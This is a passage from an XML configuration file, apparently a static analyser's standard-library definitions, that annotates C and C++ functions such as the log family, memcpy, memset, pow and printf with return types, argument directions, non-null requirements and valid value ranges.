    <use-retval/>
    <pure/>
    <returnValue type="long int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int rand(void); -->
  <function name="rand,std::rand">
    <use-retval/>
    <returnValue type="int" unknownValues="all"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
  </function>
  <!-- void srand(unsigned int seed); -->
  <function name="srand,std::srand">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- ldiv_t ldiv(long int num, long int denom); -->
  <function name="ldiv,std::ldiv">
    <pure/>
    <returnValue type="ldiv_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>:-1,1:</valid>
    </arg>
  </function>
  <!-- lldiv_t lldiv(long long int num, long long int denom); -->
  <function name="lldiv,std::lldiv">
    <pure/>
    <returnValue type="lldiv_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>:-1,1:</valid>
    </arg>
  </function>
  <!-- struct tm * localtime(const time_t *tp); -->
  <function name="localtime,std::localtime">
    <use-retval/>
    <returnValue type="struct tm *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- struct tm *localtime_s(const time_t *restrict time, struct tm *restrict result) -->
  <function name="localtime_s,std::localtime_s">
    <returnValue type="struct tm *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2" direction="out">
      <not-null/>
    </arg>
  </function>
  <!-- double log(double x); -->
  <function name="log,std::log">
    <use-retval/>
    <returnValue type="double">log(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>4.94066e-324:</valid>
    </arg>
  </function>
  <!-- float logf(float x); -->
  <function name="logf,std::logf">
    <use-retval/>
    <returnValue type="float">log(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>1.4013e-45:</valid>
    </arg>
  </function>
  <!-- long double logl(long double x);-->
  <function name="logl,std::logl">
    <use-retval/>
    <returnValue type="long double">log(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>4.94066e-324:</valid>
    </arg>
  </function>
  <!-- double complex clog(double complex x); -->
  <!-- float complex clogf(float complex x); -->
  <!-- long double complex clogl(long double complex x);-->
  <function name="clog,clogf,clogl">
    <use-retval/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex conj(double complex x);-->
  <!-- float complex conjf(float complex x);-->
  <!-- long double complex conjl(long double complex x);-->
  <function name="conj,conjf,conjl">
    <use-retval/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int fpclassify(double x); -->
  <function name="fpclassify,std::fpclassify">
    <use-retval/>
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int isfinite(double x); -->
  <!-- bool isfinite(float x); // since C++11 -->
  <!-- bool isfinite(double x); // since C++11 -->
  <!-- bool isfinite(long double x); // since C++11 -->
  <!-- bool isfinite(Integral x); // since C++11 -->
  <function name="isfinite,std::isfinite">
    <use-retval/>
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int isgreater(double x, double y); -->
  <function name="isgreater,std::isgreater">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&gt;arg2?1:0</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int isgreaterequal(double x, double y); -->
  <function name="isgreaterequal,std::isgreaterequal">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1 &gt;= arg2?1:0</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int isinf(double x); -->
  <!-- bool isinf(float x); // since C++11 -->
  <!-- bool isinf(double x); // since C++11 -->
  <!-- bool isinf(long double x); // since C++11 -->
  <!-- bool isinf(Integral x); // since C++11 -->
  <function name="isinf,std::isinf">
    <use-retval/>
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- double logb(double x); -->
  <function name="logb,std::logb">
    <use-retval/>
    <pure/>
    <returnValue type="double">logb(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float logbf(float x); -->
  <function name="logbf,std::logbf">
    <use-retval/>
    <pure/>
    <returnValue type="float">logb(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double logbl(long double x); -->
  <function name="logbl,std::logbl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">logb(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int isless(double x, double y); -->
  <function name="isless,std::isless">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1&lt;arg2?1:0</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int islessequal(double x, double y); -->
  <function name="islessequal,std::islessequal">
    <use-retval/>
    <pure/>
    <returnValue type="int">arg1 &lt;= arg2?1:0</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int islessgreater(double x, double y); -->
  <function name="islessgreater,std::islessgreater">
    <use-retval/>
    <pure/>
    <returnValue type="int">(arg1&lt;arg2 || arg1&gt;arg2)?1:0</returnValue>
    <!-- true if x < y || x > y, false otherwise -->
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double nan(const char *tagp); -->
  <function name="nan,std::nan">
    <use-retval/>
    <pure/>
    <returnValue type="double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- float nanf(const char *tagp); -->
  <function name="nanf,std::nanf">
    <use-retval/>
    <pure/>
    <returnValue type="float"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- long double nanl(const char *tagp); -->
  <function name="nanl,std::nanl">
    <use-retval/>
    <pure/>
    <returnValue type="long double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int isnan(double x); -->
  <!-- bool isnan(float x); // since C++11 -->
  <!-- bool isnan(double x); // since C++11 -->
  <!-- bool isnan(long double x); // since C++11 -->
  <!-- bool isnan(Integral x); // since C++11 -->
  <function name="isnan,std::isnan">
    <use-retval/>
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int isnormal(double x); -->
  <!--bool isnormal(float x); // since C++11 -->
  <!--bool isnormal(double x); // since C++11 -->
  <!--bool isnormal(long double x); // since C++11 -->
  <!--bool isnormal(Integral x); // since C++11 -->
  <function name="isnormal,std::isnormal">
    <use-retval/>
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int isunordered(double x, double y);-->
  <!-- bool isunordered(float x, float y); // since C++11 -->
  <!-- bool isunordered(double x, double y); // since C++11 -->
  <!-- bool isunordered(long double x, long double y); // since C++11 -->
  <!-- bool isunordered(Arithmetic x, Arithmetic y); // since C++11 -->
  <function name="isunordered,std::isunordered">
    <use-retval/>
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int ilogb(double x); -->
  <function name="ilogb,std::ilogb">
    <use-retval/>
    <pure/>
    <returnValue type="int">ilogb(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int ilogbf(float x); -->
  <function name="ilogbf,std::ilogbf">
    <use-retval/>
    <pure/>
    <returnValue type="int">ilogb(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int ilogbl(long double x); -->
  <function name="ilogbl,std::ilogbl">
    <use-retval/>
    <pure/>
    <returnValue type="int">ilogb(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double log10(double x); -->
  <function name="log10,std::log10">
    <use-retval/>
    <pure/>
    <returnValue type="double">log10(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>4.94066e-324:</valid>
    </arg>
  </function>
  <!-- float log10f(float x);-->
  <function name="log10f,std::log10f">
    <use-retval/>
    <pure/>
    <returnValue type="float">log10(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>1.4013e-45:</valid>
    </arg>
  </function>
  <!-- long double log10l(long double x); -->
  <function name="log10l,std::log10l">
    <use-retval/>
    <pure/>
    <returnValue type="long double">log10(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>4.94066e-324:</valid>
    </arg>
  </function>
  <!-- double log1p(double x); -->
  <function name="log1p,std::log1p">
    <use-retval/>
    <pure/>
    <returnValue type="double">log1p(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float log1pf(float x); -->
  <function name="log1pf,std::log1pf">
    <use-retval/>
    <pure/>
    <returnValue type="float">log1p(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double log1pl(long double x); -->
  <function name="log1pl,std::log1pl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">log1p(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double log2(double x); -->
  <function name="log2,std::log2">
    <use-retval/>
    <pure/>
    <returnValue type="double">log2(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>4.94066e-324:</valid>
    </arg>
  </function>
  <!-- float log2f(float x); -->
  <function name="log2f,std::log2f">
    <use-retval/>
    <pure/>
    <returnValue type="float">log2(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>1.4013e-45:</valid>
    </arg>
  </function>
  <!-- long double log2l(long double x); -->
  <function name="log2l,std::log2l">
    <use-retval/>
    <pure/>
    <returnValue type="long double">log2(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>4.94066e-324:</valid>
    </arg>
  </function>
  <!-- double nearbyint(double x); -->
  <function name="nearbyint,std::nearbyint">
    <use-retval/>
    <pure/>
    <returnValue type="double">nearbyint(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float nearbyintf(float x); -->
  <function name="nearbyintf,std::nearbyintf">
    <use-retval/>
    <pure/>
    <returnValue type="float">nearbyint(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double nearbyintl(long double x); -->
  <function name="nearbyintl,std::nearbyintl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">nearbyint(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double nextafter(double x, double y); -->
  <function name="nextafter,std::nextafter">
    <use-retval/>
    <pure/>
    <returnValue type="double">nextafter(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float nextafterf(float x, float y); -->
  <function name="nextafterf,std::nextafterf">
    <use-retval/>
    <pure/>
    <returnValue type="float">nextafter(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double nextafterl(long double x, long double y);-->
  <function name="nextafterl,std::nextafterl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">nextafter(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double nexttoward(double x, long double y); -->
  <function name="nexttoward,std::nexttoward">
    <use-retval/>
    <pure/>
    <returnValue type="double">nexttoward(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float nexttowardf(float x, long double y); -->
  <function name="nexttowardf,std::nexttowardf">
    <use-retval/>
    <pure/>
    <returnValue type="float">nexttoward(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double nexttowardl(long double x, long double y); -->
  <function name="nexttowardl,std::nexttowardl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">nexttoward(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- void longjmp(jmp_buf env, int val); -->
  <function name="longjmp,std::longjmp">
    <noreturn>true</noreturn>
    <returnValue type="void"/>
    <leak-ignore/>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- void * malloc(size_t size); -->
  <function name="malloc,std::malloc">
    <use-retval/>
    <returnValue type="void *"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- void *alloca(size_t size); -->
  <function name="alloca">
    <use-retval/>
    <returnValue type="void *"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- void *aligned_alloc(size_t alignment, size_t size); -->
  <function name="aligned_alloc,std::aligned_alloc">
    <use-retval/>
    <returnValue type="void *"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- const void * memchr ( const void * ptr, int value, size_t num ); -->
  <!--       void * memchr (       void * ptr, int value, size_t num ); -->
  <function name="memchr,std::memchr">
    <use-retval/>
    <pure/>
    <returnValue type="void *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1">
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- wchar_t *wmemchr(const wchar_t *cs, wchar_t c, size_t n);-->
  <function name="wmemchr,std::wmemchr">
    <use-retval/>
    <pure/>
    <returnValue type="wchar_t *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1">
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- int memcmp(const void *s1, const void *s2, size_t n);-->
  <function name="memcmp,std::memcmp">
    <use-retval/>
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- int wmemcmp (const wchar_t* ptr1, const wchar_t* ptr2, size_t num);-->
  <function name="wmemcmp,std::wmemcmp">
    <use-retval/>
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- void * memcpy(void *ct, const void *cs, size_t n);-->
  <function name="memcpy,std::memcpy">
    <returnValue type="void *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <not-overlapping-data ptr1-arg="1" ptr2-arg="2" size-arg="3"/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- wchar_t * wmemcpy(wchar_t *ct, const wchar_t *cs, size_t n);-->
  <function name="wmemcpy,std::wmemcpy">
    <returnValue type="wchar_t *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <not-overlapping-data ptr1-arg="1" ptr2-arg="2" size-arg="3"/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- errno_t  memcpy_s( void *restrict dest, rsize_t destsz, const void *restrict src, rsize_t count );-->
  <!-- errno_t wmemcpy_s( wchar_t *restrict dest, rsize_t destsz, const wchar_t *restrict src, rsize_t count );-->
  <function name="memcpy_s,wmemcpy_s">
    <returnValue type="errno_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="4" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- void * memmove(void *ct, const void *cs, size_t n); -->
  <function name="memmove,std::memmove">
    <noreturn>false</noreturn>
    <returnValue type="void *"/>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="2">
      <!-- TODO: direction? memory could be overwritten -->
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- wchar_t * wmemmove(wchar_t *ct, const wchar_t *cs, size_t n); -->
  <function name="wmemmove,std::wmemmove">
    <noreturn>false</noreturn>
    <returnValue type="wchar_t *"/>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="2">
      <!-- TODO: direction? memory could be overwritten -->
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- errno_t memset_s( void *dest, rsize_t destsz, int ch, rsize_t count ) -->
  <function name="memset_s">
    <returnValue type="errno_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="4" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- void *memset(void *s, int c, size_t n); -->
  <function name="memset,std::memset">
    <returnValue type="void *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- wchar_t *wmemset(wchar_t *s, wchar_t c, size_t n); -->
  <function name="wmemset,std::wmemset">
    <returnValue type="wchar_t *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- time_t mktime(struct tm *tp); -->
  <!-- time_t mkxtime(struct tmx *tp); -->
  <function name="mktime,std::mktime,mkxtime">
    <returnValue type="time_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- double modf(double x, double *ip); -->
  <function name="modf,std::modf">
    <returnValue type="double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="out">
      <not-null/>
    </arg>
  </function>
  <!-- float modff(float x, float *ip); -->
  <function name="modff,std::modff">
    <returnValue type="float"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="out">
      <not-null/>
    </arg>
  </function>
  <!-- long double modfl(long double x, long double *ip); -->
  <function name="modfl,std::modfl">
    <returnValue type="long double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="out">
      <not-null/>
    </arg>
  </function>
  <!-- void perror(const char *string); -->
  <function name="perror,std::perror">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- double pow(double x, double y); -->
  <function name="pow,std::pow">
    <use-retval/>
    <pure/>
    <returnValue type="double">pow(arg1, arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float powf(float x, float y);-->
  <function name="powf,std::powf">
    <use-retval/>
    <pure/>
    <returnValue type="float">pow(arg1, arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double powl(long double x, long double y); -->
  <function name="powl,std::powl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">pow(arg1, arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- double complex cpow(double complex x, double complex y); -->
  <!-- float complex cpowf(float complex x, float complex y);-->
  <!-- long double complex cpowl(long double complex x, long double complex y); -->
  <function name="cpow,cpowf,cpowl">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float  remquo (float x , float y , int *quo); -->
  <!-- double remquo (double x, double y, int *quo); -->
  <!-- long double remquo (long double x, long double y, int *quo); -->
  <function name="remquo,std::remquo">
    <use-retval/>
    <pure/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>!0.0</valid>
    </arg>
    <arg nr="3" direction="out">
      <not-null/>
    </arg>
  </function>
  <!-- float  remquof (float x , float y , int *quo); -->
  <function name="remquof,std::remquof">
    <use-retval/>
    <pure/>
    <returnValue type="float"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>!0.0</valid>
    </arg>
    <arg nr="3" direction="out">
      <not-null/>
    </arg>
  </function>
  <!-- long double  remquol (long double x , long double y , int *quo); -->
  <function name="remquol,std::remquol">
    <use-retval/>
    <pure/>
    <returnValue type="long double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>!0.0</valid>
    </arg>
    <arg nr="3" direction="out">
      <not-null/>
    </arg>
  </function>
  <!-- double remainder(double x, double y); -->
  <function name="remainder,std::remainder">
    <use-retval/>
    <pure/>
    <returnValue type="double">remainder(arg1,arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>!0.0</valid>
    </arg>
  </function>
  <!-- float remainderf(float x, float y); -->
  <function name="remainderf,std::remainderf">
    <use-retval/>
    <pure/>
    <returnValue type="float">remainder(arg1,arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>!0.0</valid>
    </arg>
  </function>
  <!-- long double remainderl(long double x, long double y); -->
  <function name="remainderl,std::remainderl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">remainder(arg1,arg2)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>!0.0</valid>
    </arg>
  </function>
  <!-- int printf(const char *format, ...); -->
  <function name="printf,std::printf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <formatstr/>
    <arg nr="1" direction="in">
      <formatstr/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int vprintf(const char *format, va_list arg); -->
  <function name="vprintf,std::vprintf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <formatstr/>
      <strz/>
    </arg>
    <arg nr="2"/>
  </function>
  <!-- int vwprintf(const wchar_t *format, va_list arg); -->
  <function name="vwprintf,std::vwprintf">
